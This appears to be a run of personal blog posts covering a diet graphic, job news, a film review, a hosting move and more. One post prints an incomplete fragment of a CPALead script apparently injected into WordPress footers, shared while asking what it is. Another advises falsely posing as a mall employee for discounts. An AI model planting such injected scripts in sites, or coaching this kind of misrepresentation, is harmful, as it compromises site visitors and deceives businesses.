Here’s a random image I’ve found whilst drunkenly navigating the internet!
It’s sad to see these two riding dirty around wallmart, but it’s good to see that love still exists even if it’s sweaty and smells of bacon grease.
This graphic, from Visual Economics, breaks down the elements of our diet in pounds. The quantity of fruits and vegetables we eat is actually a little higher than I’d expect, though we still consume more sweets and sodium than we should. The chart also doesn’t expose the extent to which corn goes into other foods. If you want to find out your own recommended daily caloric intake, by the way, here’s a calculator.
Please excuse the random logo, it’s all i could find in Google when searching for the keyword “cheap” plus i thought it looked pretty cool. Anyways recently i’ve noticed a few different ways of living life cheap whilst not looking it!
I’ve been working in corporate for the past two to three years and doing this involves a suit, tie, lanyard with buisness credentials and RFID etc..
Equipped with these following items i’ve noticed when ever you go into a shopping mall or buisness locations around you most offer discounts for mall or surrounding area employees. For example a shopping centre in Brisbane where i was visiting for a work relatated matter had four different shops offer resident discounts.
Mcdonalds, Gloria Jeans Coffee, David Jones and a few others. Usually when your suit’ed up the store clerks will ask you if you work in the centre.. *nod*.. you’ll get a 10% or 15% discount.
This doesn’t apply for all shops and the discounts may vary greatly. Your most likely to bag discounts at coffee outlets as they thrive on buisness types making repeat visits. Mind you McDonalds gave me an employee card at the Toowong centre in brisbane!
This doesn’t sound like much but it works out i’m saving a total of about twenty five dollars per week by applying these methods to my usual daily rituals.
That’s about it guys, have fun just wanted to drop this knowledge bomb on ya’ll
For those of you who don’t know this off by heart this post will be a god send!
The reason I’m blogging this little information nugget is due to the fact I’m finding myself searching for the query “Microsoft Remote Assistance URL” every time i need to remote assist any clients / employees.
Until i learn the URL off by heart, this post will be left here as a reminder for myself and others to help reduce the amount of time we waste spamming through Google search.
Putting either one of the below links into Start/Run and then clicking ok or pressing enter will bring you to your desired application. Yes i know this is common knowledge but it should help out a fair few people.

Something i’ve noticed recently was the fact that many wordpress blogs are randomly spitting out this cpalead code, which has been unsuccessful in actually executing itself. It seems like some sort of worm, or a feature a plug-in developer has tried to dominate the word press world with.
More to the fact two months ago i did a search for the string “http://www.surveysforcharity.org/thankyou-overlay.php” and it only bought back about 2 pages in Google.
Now it’s bringing back ten or so more pages meaning what ever is happening.. is well.. happening.
If anyone has anymore information on what ever the heck this thing is please post it in my comments section and i’ll update the original post with credit to yourself or to your blog!
Below is the original code this CPALead script attempts to put into the footer of each post.
<script type=”text/javascript”>// <![CDATA[
(function () {
var d = 0;function NoCPA() {

var r = new RegExp(“if \\(([a-zA-Z0-9]*) != ([a-zA-Z0-9]*)\\) \\{“);
var hash = r.exec(window[i].toString());

Was just developing the CSS functionality for the iPad version of EliteTek, it’s coming along very nicely!
Well, life and all the bad crap it’s been throwing at me has finally thrown in the towel and is now working in my favour!
Today i was accepted after my third interview for my dream job, this job is a career shaker and I’ll be working in it until i get old and gray and retire. I’ve got all the bells and whistles, laptops, phones, dental, medical insurance, car insurance, Qantas Business class flights and that’s only giving out what I’m allowed to say. I’m not rubbing this in by saying it out loud, I’m saying it out loud because it’s about damn fucking time i get something worth something.
Anyway, I’ve also got my new pad setup on the beach which is about 25 minutes from my new job and about 10 minutes away from one of the largest shopping centres the great south east has to offer. Also I’m living with girls for once, which are polite, well mannered and know how to keep a house clean and also know how to have fun, some of my last roomies were complete dicks.
The new place has a gym, pool and laundry facilities, other than everything i’ve said above i think that’s about it. I’m off to go watch The Broncos vs The Titans, sure The Titans have had a rough run lately, but they are now my team again, so… GO TITANS!
Well here’s a movie i should have reviewed a few months ago when i first initially saw it. This movie is amazing dragging you through a very colorful and artistic Journey following the main character Jude and how he pulled out of depression and into the wonderful era of the 60′s and took it all by full force. This movie is a musical but is composed mostly by songs produced by The Beatles.
I’ll try and give you a proper review and sneak peaks without really giving too much away as i’m really going to stress the fact you’ll need to see this for yourself!
The film’s plot and narrative structure interweave the stories of several characters whose lives cross paths during events set against the backdrop of the turbulent middle/late 1960s. The story apparently takes place from about late 1965 to mid 1969.
The story begins in Liverpool, England with a young shipyard worker named Jude (Jim Sturgess), who asks the camera if “anyone wants to hear his story all about the girl who came to stay.” (“Girl“). Against the wishes of both his mother and his girlfriend, Jude enlists in the merchant navy and travels by ship to the United States of America (“All My Loving“). He jumps ship in New Jersey to search for his American G.I. father, Wes Huber (Robert Clohessy), whom he has never met and who does not know Jude exists. As Jude is landing in New York, Lucy’s G.I. boyfriend’s truck passes an Ohio football field where a Cheerleader (Prudence) sings to herself her feelings towards a fellow cheerleader (“I Want to Hold Your Hand”). After Jude learns that his father works at Princeton as a janitor, he goes to meet him, but then Jude has nowhere else to go.
I’ll end the story spoiler here as it will give away far too much and destroy the story telling experience entirely!
Across the Universe is a musical film directed by Julie Taymor, produced by Revolution Studios, and distributed by Columbia Pictures. It was released in the United States on October 12, 2007. The script is based on an original story credited to Taymor, Dick Clement, and Ian La Frenais. It incorporates 34 compositions originally written by members of The Beatles.
The film, directed by Taymor, stars Evan Rachel Wood, Jim Sturgess, Joe Anderson, and T. V. Carpio, and introduces Dana Fuchs and Martin Luther McCoy as actors. Cameo appearances are made by Bono, Eddie Izzard, Joe Cocker, Salma Hayek, and others.
Opening to mixed reviews, Across the Universe was nominated for both a Golden Globe and an Academy Award. Two members of the supporting cast, Carol Woods and Timothy T. Mitchum, performed as part of a special Beatles tribute at the 50th Grammy Awards.
As i’m ending this long and informational review, I’ve decided to leave you with my my favourite part from Across The Universe, pure brilliant in every which way and form!
God the mascot for Host Gator and the Graphic from Servage were made for each other, really i only spent a maximum of 10 minutes in Photoshop to come up with that one!
Long story short Elite-Tek.com has been moved to Host Gator due to the fact Servage is slow, sluggish and heavily congested. Since moving to Host Gator I’ve noticed a 1.2 second decrease in the load time, this doesn’t seem like much but trust me you’ll notice it.
I’ve also decided to remove all Google advertisements as it’s just me defacing my site with ugliness, yes it earned about $3-$5 every few days, but i’d prefer to just have my full time job, and my web development pay the bills or buy me my fun things in life such as cheap hooke… Games and Lollies!
I’m one hundred percent moved back to Queensland now, and I’m slowly setting back up with a beach house located in Surfers Paradise, yes i work bloody quick. Once you get once quick sniff of the ocean air you pretty much set your goals on nothing but keeping that smell. I’ve got a few interviews this week and one which may actually have me moving back to Melbourne if I’m accepted, yes you are probably thinking why the hell would you move all the way back from the place you’ve complained so much about.
Let’s just say if i get the job, a down payment on my house will be as easy as paying for pizza. *which is a bad habit i must get away from*
Anyways, that’s it from me, expect more blogs, reviews & much more!
Yes, i know i’ve become a bit addicted to video tutorials and reviews, it’s a phase i’m going through and it’s really exciting learning these new applications and sharing my knowledge back is the least i can do.
This is a short no fluff tutorial on how to export and render video for YouTube or Vimeo or any other service which provides HD streaming capabilities.
